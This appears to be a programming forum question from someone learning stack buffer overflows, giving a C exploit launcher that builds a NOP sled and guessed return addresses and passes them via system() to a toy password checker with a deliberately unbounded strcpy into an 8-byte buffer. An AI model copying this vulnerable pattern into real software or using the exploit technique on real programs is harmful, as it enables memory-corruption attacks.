How to access address space of parent process from child process?

I am executing a program B from the main function of another program A by C library function system(). But when I am passing an address of the A to the B as an argument to replace the return address in the process B by buffer overflow, it is showing segmentation fault.

I know each process cannot access address space of another process. But is there any way I can buffer overflow the child process so that execution returns to the parent process? I am using x64 bit machine and gcc with -m32, -fno-stack-protector options.

This is the program A from where I am executing another program B:

int main(int argc, char *argv[]) {
   unsigned int i, ret, offset=270;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./child '"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // add NOP instructions

   strcat(command, "'");

   system(command); // run another program
   free(command);
}

And this is the other program B which is vulnerable to buffer overflow

int testAuthenetication(char *password){
    int value = 0;
    char buffer[8];

    strcpy(buffer, password);

    if(strcmp(buffer, "abcd") == 0){
        value = 1;
    }
    if(strcmp(buffer, "abcdef") == 0){
        value = 1;
    }

    return value;
}

int main(int argc, char *argv[]){
    if(argc < 2){
        printf("Enter the password n");
        return 0;
    }

    if(testAuthenetication(argv[1])){
        printf("Access Granted n");    
    }
    else{   
        printf("Access denied n");
    }
    return 0;
}